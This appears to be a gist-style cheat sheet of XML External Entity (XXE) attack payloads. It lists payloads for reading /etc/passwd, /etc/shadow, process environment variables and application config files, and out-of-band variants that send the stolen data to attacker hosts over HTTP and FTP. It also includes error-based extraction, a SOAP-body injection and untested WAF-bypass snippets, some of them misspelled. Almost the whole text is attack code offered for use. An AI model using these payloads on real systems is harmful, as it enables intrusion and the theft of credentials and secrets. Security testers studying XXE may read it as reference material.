Created
November 15, 2018 09:02
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<?xml version=”1.0"?> | |
<!DOCTYPE data [ | |
<!ELEMENT data (#ANY)> | |
<!ENTITY file SYSTEM “file:///etc/passwd”>]> | |
<data>&file;</data> | |
<!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://x.x.x.x/xxe.dtd"> %asd; %c;]> | |
xxe.dtd: | |
<!ENTITY % d SYSTEM “file:///etc/passwd”> | |
<!ENTITY % c “<!ENTITY rrr SYSTEM ‘ftp://x.x.x.x:2121/%d;'>"> | |
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> | |
--------------------------------------------------------------- | |
OoB extraction | |
--------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> | |
%sp; | |
%param1; | |
]> | |
<r>&exfil;</r> | |
## External dtd: ## | |
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> | |
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"> | |
---------------------------------------------------------------- | |
OoB variation of above (seems to work better against .NET) | |
---------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> | |
%sp; | |
%param1; | |
%exfil; | |
]> | |
## External dtd: ## | |
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> | |
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"> | |
--------------------------------------------------------------- | |
OoB extraction | |
--------------------------------------------------------------- | |
<?xml version="1.0"?> | |
<!DOCTYPE r [ | |
<!ENTITY % data3 SYSTEM "file:///etc/shadow"> | |
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd"> | |
%sp; | |
%param3; | |
%exfil; | |
]> | |
## External dtd: ## | |
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>"> | |
----------------------------------------------------------------------- | |
OoB extra ERROR -- Java | |
----------------------------------------------------------------------- | |
<?xml version="1.0"?> | |
<!DOCTYPE r [ | |
<!ENTITY % data3 SYSTEM "file:///etc/passwd"> | |
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd"> | |
%sp; | |
%param3; | |
%exfil; | |
]> | |
<r></r> | |
## External dtd: ## | |
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external; | |
----------------------------------------------------------------------- | |
OoB extra nice | |
----------------------------------------------------------------------- | |
<?xml version="1.0" encoding="utf-8"?> | |
<!DOCTYPE root [ | |
<!ENTITY % start "<![CDATA["> | |
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml "> | |
<!ENTITY % end "]]>"> | |
<!ENTITY % dtd SYSTEM "http://evil/evil.xml"> | |
%dtd; | |
]> | |
<root>&all;</root> | |
## External dtd: ## | |
<!ENTITY all "%start;%stuff;%end;"> | |
------------------------------------------------------------------ | |
File-not-found exception based extraction | |
------------------------------------------------------------------ | |
<?xml version="1.0" encoding="UTF-8"?> | |
<!DOCTYPE test [ | |
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" > | |
%one; | |
%two; | |
%four; | |
]> | |
## External dtd: ## | |
<!ENTITY % three SYSTEM "file:///etc/passwd"> | |
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>"> | |
-------------------------^ you might need to encode this % (depends on your target) as: % | |
-------------- | |
FTP | |
-------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE a [ | |
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd"> | |
%asd; | |
%c; | |
]> | |
<a>&rrr;</a> | |
## External dtd ## | |
<!ENTITY % d SYSTEM "file:///proc/self/environ"> | |
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>"> | |
--------------------------- | |
Inside SOAP body | |
--------------------------- | |
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body> | |
--------------------------- | |
Untested - WAF Bypass | |
--------------------------- | |
<!DOCTYPE :. SYTEM "http://" | |
<!DOCTYPE :_-_: SYTEM "http://" | |
<!DOCTYPE {0xdfbf} SYSTEM "http://" |
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